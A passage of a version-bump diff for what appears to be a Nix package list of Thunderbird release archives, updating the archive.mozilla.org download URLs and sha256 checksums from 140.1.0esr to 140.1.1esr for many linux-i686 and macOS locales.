+      sha256 = "8b6d9515c24a85da4bafa1bbd295d254cd67fa5d741805d1c0fe889aea6dea6a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/pa-IN/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/pa-IN/thunderbird-140.1.1esr.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "d7897851dc39898ad4a37c14cd972dc05f8fd9b86d9ccda941e796ae396992c3";
+      sha256 = "ef189585918f5fdaad181c75603c7c5c3ec9902e56f05eb75e1508061a4c3a51";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/pl/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/pl/thunderbird-140.1.1esr.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "39d97c41476c2d15e8c6ec0f965faa0b7b5119a052478809f3f3fe6c65813169";
+      sha256 = "bdd972b7c3950f7cdaced6c9d860effd9be1fd14dfaddd9e1547ce828293b836";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/pt-BR/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/pt-BR/thunderbird-140.1.1esr.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "66118eeba5eed2de5cf39e98433d15f73ea3762560947d4f2c85eb7239cf5b7b";
+      sha256 = "408b669965291276cf31fba0f9aeb0343b42c2e1b8d03ce3a96ca65f09ddf483";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/pt-PT/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/pt-PT/thunderbird-140.1.1esr.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "d66ffea15d43ca7f13b8d66f73e2ea25c16e1ad193f2ba3bdd1f59e5a1c3a65d";
+      sha256 = "e80e3bec252fe673f481dbb22c48ebc1c45784817fcb6142d3ce5205039ca64c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/rm/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/rm/thunderbird-140.1.1esr.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "bb483f454a245c6ccca2b50703f434b08a88399ce2f1f9377dcaada2421d5bdc";
+      sha256 = "3b426eb5d30e63a1496addde69e486db32a72ea8daf0eb3c04dc7fdb32d9b926";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ro/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ro/thunderbird-140.1.1esr.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "6434fdf0b2deab3cff6a30247fa2157e385507f24ee8fee00b765b9291f7ec35";
+      sha256 = "56aa69817b8f9164832fd682f3f81d8c15d5b1e5332795861f1300bdd2a2611a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ru/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ru/thunderbird-140.1.1esr.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "17165a4d397223f0e5e5f36d1c7c16cc4deb8d45a0f8589b557375ba2d2c9f77";
+      sha256 = "3fbbdba3b49631c86a0f755da39f1326635732fd626c33ca01bb58fd2cc41c04";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/sk/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/sk/thunderbird-140.1.1esr.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "c698c16229b53cb9f5551a4fff8373ba5d21568aff3d9cfd32bd5dff4aac5697";
+      sha256 = "c044ae22b720fddef843627ca24deda9900dd10dac8556f1cfc3954d63b7a4f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/sl/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/sl/thunderbird-140.1.1esr.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "a391ba43c7bec4542d7e1ba5d79de802cb48622ce03548b8e275b38b8c6f683d";
+      sha256 = "1db44283d603e10e20e1957ead276ab7fd32b096b886304250f9379af8f0d246";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/sq/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/sq/thunderbird-140.1.1esr.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "19ceb1b451813da0b8583b9d22a1ad26fcec5abec1bad67add1ba6665eff8903";
+      sha256 = "c7e41bf70ba0f63896c2268a274aa5b21b73f30b9053d039c1ee2ecb55116123";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/sr/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/sr/thunderbird-140.1.1esr.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "717184b8698347eff1eff74e16ca8bb3e2d92ad98b511b12778291237aea5e8f";
+      sha256 = "0be7c47f1f7eb7367c91eaa7077d0fc737ee1a682007500232b84ef840b18a3c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/sv-SE/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/sv-SE/thunderbird-140.1.1esr.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "9b4d6b8ab51492a70551dcdd3483672300b6d831e5c960033d8aa259fba1343e";
+      sha256 = "970561eebbfa661d3b57e8afb79cbc29430e8977f17c92f39da540ae74f9fe37";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/th/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/th/thunderbird-140.1.1esr.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "c3f534415fd18e98d38c91062abcc6e63d72dd32eed8dc28d28f51cec0f101b9";
+      sha256 = "a893872e1b2a61ffa15479be4531a94c3f0f9cce2a14474442de7213637739ac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/tr/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/tr/thunderbird-140.1.1esr.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "7f7a2f6f6e4e33bbbf5ccc7fc1913681ba1e15c1a79eb334896b10bec3e37c55";
+      sha256 = "debe95a6215f1216386fc02e6b2ce6fe06a2da81aa1bea21706ed549c26e39d8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/uk/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/uk/thunderbird-140.1.1esr.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "90d4e6a42842549c7ae9e4a70ee268d66b1f0b9ce1554d293db6eaf727f4c01a";
+      sha256 = "3f9e93456ea40bad341c3c42100bda9293c594b3e0db935008078566962e6aea";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/uz/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/uz/thunderbird-140.1.1esr.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "01cc8b145ce5e583ee8c466a0a6a206bf31c52034ee3c78f7383f4ee6f14877f";
+      sha256 = "5c50b03eb4ef9334ac6c7113131e0b6fe54753af4a5d167a8acb94b7e48fbf72";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/vi/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/vi/thunderbird-140.1.1esr.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "1d6e07c6c0bbb8a49d5b99215161820b1d4a88c429d21833eaa24b3d16c4267d";
+      sha256 = "be0eb2780b1b809173f0598e365b41a92370f732de753ae1d23e0a7fbaa59277";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/zh-CN/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/zh-CN/thunderbird-140.1.1esr.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "abcc3eec1c94cbae0f8018cf9c1969d2eb130fbf047e5b1e2800b0ec5331025f";
+      sha256 = "6f47a9e79002415581c03c909000a9906ab075259e70464e949aeb55261997cb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/zh-TW/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/zh-TW/thunderbird-140.1.1esr.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "4d4eac590f9daa34b8b3fd0f9f5301c229c588bc0d21387e12da8e2abc061817";
+      sha256 = "c400336cd38d41aeb35a53b970c54db9a99e19e5dda98622be5e9a4cb1dff647";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/af/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/af/Thunderbird%20140.1.1esr.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "6a797be943da6f43fc98d37d5ee736889289944e1d45f45a5d1b3d5945cc4717";
+      sha256 = "797575efd5b5b12a3a99bf3f84e10f7f94521874708fead35b06ac12de67e4f6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ar/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ar/Thunderbird%20140.1.1esr.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "c455e6854aa0a469b936f8522de9b597218d7beeb2216c740ff612118f9dbc24";
+      sha256 = "42525d2e79aa4e12868930952b7e1c6c609d25f7b0630c3f96daed87e446a7f1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ast/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ast/Thunderbird%20140.1.1esr.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "80be9a5ca8052196a3aee5ee7700500128f56bb056f923909657b8d143a3ecc3";
+      sha256 = "29c634a3d625ce3be73efcc845b895603cfb68f37ea910447a297ef8c8078244";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/be/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/be/Thunderbird%20140.1.1esr.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "70203fb88a2bf57c58e6377c3155aa1ce1654f70e81063fd97255957839b5e16";
+      sha256 = "fe7f25672c7dd739dfdb54e0a403994de346eb2035dec31d64b7a7685f413874";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/bg/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/bg/Thunderbird%20140.1.1esr.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "355ec61efbc0bd6ecf3b9a3f67d9a7580409c731b34b24a13838f143c35d0f33";
+      sha256 = "d7bec82a811af8e1206ab9a5cee403c935c295d563aecd60cdb0bb019b195d78";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/br/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/br/Thunderbird%20140.1.1esr.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "e5e815a56e0f18e9ab9b1c6eb294b91a92331485ad192f4b1852384dc8563586";
+      sha256 = "aae5b514cc03291e5910f0ce3527b0f36835192bb044541d2fc0083501de918a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ca/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ca/Thunderbird%20140.1.1esr.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "227a1f0c6116b84b983e049fee9b0d522262fec59e0803499fd1f1868bf64ceb";
+      sha256 = "f0c145866c6c75c6b8ca6945ab8490eed0520ab6ed7c62a22084fba5adcd01f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/cak/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/cak/Thunderbird%20140.1.1esr.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "0dba62df1d3f0a9365980dd07898b8ae1bde285b17873eaa8464814430de6565";
+      sha256 = "4b1771496eb50682927c50defb86d0c4608b072c70d0bcc95f48e698d55af226";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/cs/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/cs/Thunderbird%20140.1.1esr.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "e748f567c80162960b4331f53701feafae1ecb40c039e021083cc2abcc67560c";
+      sha256 = "d87b6287f3ff9aaa5bf6009d7f3a17b6e2e10f8ef97918182a45eeafcf3054cc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/cy/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/cy/Thunderbird%20140.1.1esr.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "eca67c8a05a65fd06f449f84ea5975ac0b59caaa077857da14b9a4f0fd098297";
+      sha256 = "ea62044eb217560f94a4238050c6a00825ee436ad6cf5bb9132015e0dc6b6e73";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/da/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/da/Thunderbird%20140.1.1esr.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "b6d2941d048312759f22dfb955cd1801253d7e2a45c233959f5e98f9eb5287ec";
+      sha256 = "ea9ee0aef81160c3b8c9d0429320967b868511f5e1f5bc74a7bf74b215d81a8f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/de/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/de/Thunderbird%20140.1.1esr.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "006d50345a36eadde5f0bf5f0ff6261ee36d8131c400da96dc9204c0a2a8b38e";
+      sha256 = "85f90087813a73e85d8541314d4543dac0fbd0bff3053922b34539fc6253c453";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/dsb/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/dsb/Thunderbird%20140.1.1esr.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "43504f37d0354e41487fdf46ee7b195088cc8e2f0cab3d09f13c9d536aded828";
+      sha256 = "486cdbf698ed78d493d6cccf1a7f6eeac25db7226e29c5ca6024e59c1226d6cb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/el/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/el/Thunderbird%20140.1.1esr.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "a674fdb18f0eaff4ee79f487d24255342871c4d2a29bccdb2a18657f223b91ed";
+      sha256 = "7b19d065927e6ff2dc3ec1fe2cfe147d84e60f2e50d91e788bfb0c46f1f6c1d1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/en-CA/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/en-CA/Thunderbird%20140.1.1esr.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "f73ca1b9d7ac6298b4fe0fe4f5acc24cce1a8364753770d2b7377f0d6fcbefe9";
+      sha256 = "96f9b9e3f10e06111cb2f2f3889a21ba52e02691542fbe5db92e14b6157a215e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/en-GB/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/en-GB/Thunderbird%20140.1.1esr.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "595835f5feb16c4ab8d750a9e3f789938251b6a9d96a49f52259970e3c8186fa";
+      sha256 = "d96bab18d6f5d90f399be928796e5b83f713d36798f70dca31a98476594e9d9e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/en-US/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/en-US/Thunderbird%20140.1.1esr.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "024189d914d2c9a53394eb05028774cca6abe99d47e8e300021e34db64887c22";
+      sha256 = "934eb7a4ed8516600c2bf8bccff3888e68448c8c77320e2a0097835b6639f922";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/es-AR/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/es-AR/Thunderbird%20140.1.1esr.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "1943196f84d02b9babd1533b6e92f8b5ad9d9806a4788ba8ff26c6e1214dc692";
+      sha256 = "f6fe9a754111f6103bab2de4d071e9178c141180cc0576df1680c1620c624e8d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/es-ES/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/es-ES/Thunderbird%20140.1.1esr.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "2d0cf209cfe79f4475cb3b7c04a35c44a1b4ebb1d48389a35e27916b588261ee";
+      sha256 = "e9d3f75885ff8d1b0e7094bf3e33b5752704c531928c38c75d56064b3bfa6810";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/es-MX/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/es-MX/Thunderbird%20140.1.1esr.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "0a481830400bef485fd6ac940ea316d1f9369392a982a87e96d8107118fe43d4";
+      sha256 = "c6ff81be8b3b25e019481ae6aa7e9bf5368c40b1f7d044cd1bf29023c322f274";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/et/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/et/Thunderbird%20140.1.1esr.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "dca18e1de621d50a755bbefbdfacad15d31b004b110c1e76005c1e83cfc64eb6";
+      sha256 = "96987565f5a1aef4cb515340d91b1fc876ee53da711f9d5af3e6641cceabdc84";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/eu/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/eu/Thunderbird%20140.1.1esr.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "aecbb212b8cc978e7b419f4abef61bd8229658ddc8ce460c3cf32d6b9985db08";
+      sha256 = "66aacca35cc54596e9e1876609eb72a2f92af1692d5fd6cce81477decd92915e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/fi/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/fi/Thunderbird%20140.1.1esr.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "e1bda1196cce483e4f00dfbdf89bce2c2ca90a42dedce17530db2e4f8cfa9b10";
+      sha256 = "8cb1a78debfebc3d54c2c7f5da45c3c05b06bcba85e7ccb51f222aa6d79e1739";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/fr/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/fr/Thunderbird%20140.1.1esr.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "15d1952adb3602e2edbde88d5098b13153e5dc6161cd66578fa87252fccd25d2";
+      sha256 = "9d4cad3bef814f0718a69a6b3a9e676346c266dd8bf0b0b1e4451858e8d4c0e5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/fy-NL/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/fy-NL/Thunderbird%20140.1.1esr.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "09d087f3d90c9ce4848d19e510e6edc03b11299c539f0ea943a15dc8e7fcac7b";
+      sha256 = "61b7b484547e911bc645e1b1673b5bede4b9a874090c12ac7d8c935a4ef09da2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ga-IE/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ga-IE/Thunderbird%20140.1.1esr.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "c216dbf1ff5e7a58aac7296415080b60ab7f6e691e4471799dba2850cfed93c5";
+      sha256 = "2198a3ef1bfd5c9d089a0a4a4e0a693695b82c07dd063c26536e15178c5d6ccb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/gd/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/gd/Thunderbird%20140.1.1esr.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "67c768d8f1968a2555456a9cb7a1c6775c12288ded166e53d438f9b6103d95e7";
+      sha256 = "76a58b5b79f38f6921d1011e58ec61e61a2f3e1e8dcf5d293e5da4a7112d4928";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/gl/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/gl/Thunderbird%20140.1.1esr.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "9865f2fe16c50f270b5c4c40982a4fc76f560f53520eac37f59d3a7826856799";
+      sha256 = "02459b648de1ead3884a81c2b34f4d55cb54350545834779a6bd8370a0e99e7e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/he/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/he/Thunderbird%20140.1.1esr.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "1073db739302522833fbfc9c0601365df0c5c6a4f65cc599d35b103fc377daf0";
+      sha256 = "d703010093db63fafcddb0476151fa5cac32f239d86744a79ff76dd2e418b273";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/hr/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/hr/Thunderbird%20140.1.1esr.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "e9097a7cdef7dca442ec139edc157e24639d54016345ef1551867a57351f3460";
+      sha256 = "8c61715202f7ebaa565a23fccf843b4a12fde8003d86ca682390cbeb78fc957f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/hsb/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/hsb/Thunderbird%20140.1.1esr.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "eafc388354c38c70ceee314f185707f042c870a4fccbe0241af6f47873a67348";
+      sha256 = "c59eaa7a992350649cf490ee00e7e03e3c9a581d5cd5b60779990578fb361d45";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/hu/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/hu/Thunderbird%20140.1.1esr.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "f2ad45f85a4a50bcdb954459e5eeeae334d014b00365d48d0043b506f329d3ad";
+      sha256 = "81a3e11b53bdf5418d60a5b527e4b1198a4e4c7fee7f9d92b07efa7a88a681c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/hy-AM/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/hy-AM/Thunderbird%20140.1.1esr.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "32db776e1ac01f9adc25e307099b0b17f381954a9929e58d7e1b6f101287aa74";
+      sha256 = "862f3693b60e3a35048ffaa408829433975390030b6a6a7da8d597205eac763d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/id/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/id/Thunderbird%20140.1.1esr.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "67e73e22fae4c379cb51caf399b2f2b867751ffb2156d2548be8af8ad13a09b8";
+      sha256 = "005b06b94a27268c4363d8185b61b0ca0a2b7e559e7b6adb7a07d3e20e4939bc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/is/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/is/Thunderbird%20140.1.1esr.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "1f85b717feab1c85fdac4287cee002b81b215328955dee9ccf579dc004173d19";
+      sha256 = "55355ca4c324638b653ee1c574dd617205b65ab4147dba8e5426d6ddf9f1d28b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/it/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/it/Thunderbird%20140.1.1esr.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "2946891e2ccc87cdb74a60e25f27248d11ffa061c5890d2b02f8a6230ea9c851";
+      sha256 = "3ebb7b8188cd8c6793a549de0af43fedf3f8a7ae8d9d2a4334d752136164d61f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ja-JP-mac/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ja-JP-mac/Thunderbird%20140.1.1esr.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "2d53d41264d37c697a6c1730588197ac0fc0a91c835975473fccce8e46c8bca0";
+      sha256 = "e3b776bfcf7e78baf1b0702537c527e9c81ec1f7617056d530a4cf9f1410132b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ka/Thunderbird%20140.1.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/mac/ka/Thunderbird%20140.1.1esr.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "764825a8f1254b4d59fcbabca0a7850fbfb520ff116eff85c5dc48eca10743ad";
+      sha256 = "4837e71ad60f6c20404a643a29ffab095593b5a235da1fe6d9be6a932a07c0da";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/kab/Thunderbird%20140.1.0esr.dmg";
